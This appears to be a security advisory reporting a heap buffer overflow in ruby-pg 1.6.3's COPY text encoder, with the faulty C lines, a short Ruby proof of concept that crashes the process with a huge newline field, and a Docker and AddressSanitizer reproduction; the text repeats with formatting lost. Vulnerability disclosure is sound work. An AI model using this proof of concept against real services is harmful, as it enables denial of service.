Summary
PG::TextEncoder::CopyRow doubles an int field length when reserving space for escaped text. A large field wraps that size calculation, the output buffer remains too small, and newline escaping writes past the heap allocation.
Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
The encoder gets a signed int length from the element encoder, then reserves strlen * 2 bytes for worst-case escaping.
strlen = RSTRING_LENINT(subint);
...
PG_RB_STR_ENSURE_CAPA( *intermediate, strlen * 2, current_out, end_capa_ptr );
ext/pg_copy_coder.c:265
The copy loop writes an extra backslash before every newline, carriage return, delimiter, or backslash. With a wrapped capacity, this write runs off the end of the string buffer.
if(*ptr1 == '\\' || *ptr1 == '\n' || *ptr1 == '\r' || *ptr1 == this->delimiter){
*current_out++ = '\\';
}
*current_out++ = *ptr1;
ext/pg_copy_coder.c:273
The PoC is inline below:
$stdout.sync = true
require "pg"
n = 1 << 30
warn "field_len=#{n}"
small = "A" * 100
large = "\n".b * n
PG::TextEncoder::CopyRow.new.encode([small, large])
Reproduce
Create poc.rb from the inline artifact below, then run this on a machine with Docker:
mkdir -p dfvuln-793 && cp poc.rb dfvuln-793/ && cd dfvuln-793
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'
The reproduced sanitizer stack is included inline below:
==3520==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
#0 0xffff9257235c in pg_text_enc_copy_row /tmp/src/ext/pg_copy_coder.c:276
#1 0xffff9255d4b0 in pg_coder_encode /tmp/src/ext/pg_coder.c:202
0xffff93c397c2 is located 0 bytes to the right of 386-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/src/ext/pg_copy_coder.c:276 in pg_text_enc_copy_row
Inline reproduction artifact(s):
poc.rb
$stdout.sync = true
require "pg"
n = 1 << 30
warn "field_len=#{n}"
small = "A" * 100
large = "\n".b * n
PG::TextEncoder::CopyRow.new.encode([small, large])
Security Impact
This is a heap buffer overflow in COPY text encoding. It can crash the Ruby process when very large attacker-controlled COPY fields are encoded.
Credit
Zheng Yu from depthfirst (depthfirst.com)
Summary
PG::TextEncoder::CopyRowdoubles anintfield length when reserving space for escaped text. A large field wraps that size calculation, the output buffer remains too small, and newline escaping writes past the heap allocation.Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
The encoder gets a signed
intlength from the element encoder, then reservesstrlen * 2bytes for worst-case escaping.ext/pg_copy_coder.c:265The copy loop writes an extra backslash before every newline, carriage return, delimiter, or backslash. With a wrapped capacity, this write runs off the end of the string buffer.
ext/pg_copy_coder.c:273The PoC is inline below:
Reproduce
Create
poc.rbfrom the inline artifact below, then run this on a machine with Docker:The reproduced sanitizer stack is included inline below:
Inline reproduction artifact(s):
poc.rbSecurity Impact
This is a heap buffer overflow in COPY text encoding. It can crash the Ruby process when very large attacker-controlled COPY fields are encoded.
Credit
Zheng Yu from depthfirst (depthfirst.com)